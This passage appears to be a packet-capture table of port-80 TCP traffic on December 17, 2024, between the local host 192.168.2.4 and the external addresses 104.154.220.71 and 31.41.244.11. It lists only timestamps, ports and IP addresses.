Dec 17, 2024 22:06:37.732682943 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.732790947 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.732841015 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.732928991 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.732990980 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.733138084 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.733171940 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.733259916 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.733273029 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.733297110 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.733431101 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.733444929 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.733541012 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.733705997 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.733719110 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.733819962 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.733853102 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.733994007 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.734006882 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.734020948 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.734194994 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.734209061 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.734327078 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.734381914 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.734668970 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.734682083 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.734694958 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.734894991 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.735200882 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.735285044 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.848855972 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.848926067 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.849011898 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.849056005 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.849395990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.849440098 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.849986076 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.850027084 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.850429058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.850472927 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.850507021 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.850545883 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.851605892 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.851655006 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.851732016 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.851773024 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.852129936 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.852184057 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.852256060 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.852391958 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.852464914 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.852478981 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.852598906 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.852657080 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.852708101 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.852708101 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.852722883 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.852749109 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.852803946 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.852818012 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.852881908 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.852895975 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.852910995 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.853044987 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.853166103 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.853240967 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.853351116 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.853364944 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.853465080 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.853507996 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.853585005 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.853641987 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.853686094 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.853755951 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.853770018 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.853796959 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.854047060 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854060888 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854073048 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854084969 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854098082 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854110003 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854129076 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854141951 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854154110 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854224920 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854238987 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854250908 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854355097 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854368925 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854458094 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854470968 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854482889 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854497910 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854564905 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854623079 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854711056 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854796886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.854837894 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.854881048 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.854896069 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854921103 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.854984045 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.854996920 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855047941 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855134964 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855179071 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855190992 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855214119 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855226994 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855365038 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855379105 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855449915 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855601072 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855614901 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855678082 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.855694056 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855707884 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855770111 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855807066 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.855850935 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.855896950 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.855911970 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855936050 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.855984926 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.855998039 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856028080 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856040955 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856158972 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856172085 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856184959 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856213093 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856225967 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856237888 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856276035 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856368065 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856380939 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856395006 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856430054 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856517076 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856530905 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856543064 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856605053 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856617928 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856738091 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856796026 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856810093 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.856851101 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.856930971 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.856945992 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856959105 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.856976986 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.857028961 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.857043028 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.857054949 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.857136011 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.857181072 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.857193947 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.857362032 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.857409000 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.857420921 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.857444048 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.857501030 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.857615948 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.857630014 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.857711077 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.857768059 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.857781887 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.857994080 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.858036995 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.858057976 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.858071089 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.858094931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.858100891 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.858139038 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.858153105 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.858328104 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.858341932 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.858622074 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.858977079 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.859014034 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.859285116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.859329939 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.860090971 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.860131025 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.860457897 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.860495090 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.861126900 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.861143112 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.861171007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.861192942 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.862147093 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.862191916 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.862396002 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.862437963 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.863260031 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.863300085 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.863387108 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.863429070 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.864294052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.864343882 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.864603996 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.864645958 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.865372896 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.865417957 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.865699053 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.865744114 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.866496086 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.866538048 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.866597891 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.866636992 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.867644072 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.867681980 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.867749929 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.867789030 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.868617058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.868660927 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.868760109 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.868805885 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.869626999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.869667053 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.870271921 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.870311975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.870682955 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.870724916 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.870762110 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.870847940 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.871788979 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.871840000 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.871871948 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.871912003 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.872840881 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.872884035 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.873157024 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.873202085 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.873950005 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.873996973 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.874113083 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.874159098 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.874990940 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.875029087 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.875087023 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.875124931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.876046896 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.876084089 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.876365900 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.876409054 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.877088070 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.877129078 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.877182007 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.877223969 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.878146887 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.878185987 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.878268957 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.878310919 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.879214048 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.879256010 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.879339933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.879384041 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.880332947 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.880373955 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.880613089 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.880661011 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.881357908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.881408930 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.881711960 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.881757975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.882447004 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.882487059 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.882594109 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.882636070 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.883585930 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.883634090 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.883654118 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.883692026 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.884651899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.884666920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.884687901 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.884701014 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.885675907 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.885715008 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.885833025 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.885865927 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.886701107 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.886740923 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.886823893 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.886862040 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.887844086 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.887883902 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.887979031 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.888025999 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.888851881 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.888894081 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.888987064 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.889025927 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.889902115 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.889940977 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.890077114 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.890122890 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.890969038 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.891016960 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.891370058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.891423941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.892071962 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.892117977 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.892246008 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.892287016 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.893096924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.893145084 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.893615007 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.893660069 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.894268990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.894314051 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.894434929 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.894478083 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.895247936 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.895288944 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.895642996 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.895687103 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.896467924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.896509886 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.896852970 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.896898031 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.897363901 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.897443056 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.897476912 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.897519112 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.898406029 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.898452044 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.899013042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.899063110 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.899482965 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.899525881 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.899925947 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.899966002 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.900564909 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.900609016 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.900635958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.900676012 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.901657104 CET	80	49825	31.41.244.11	192.168.2.4
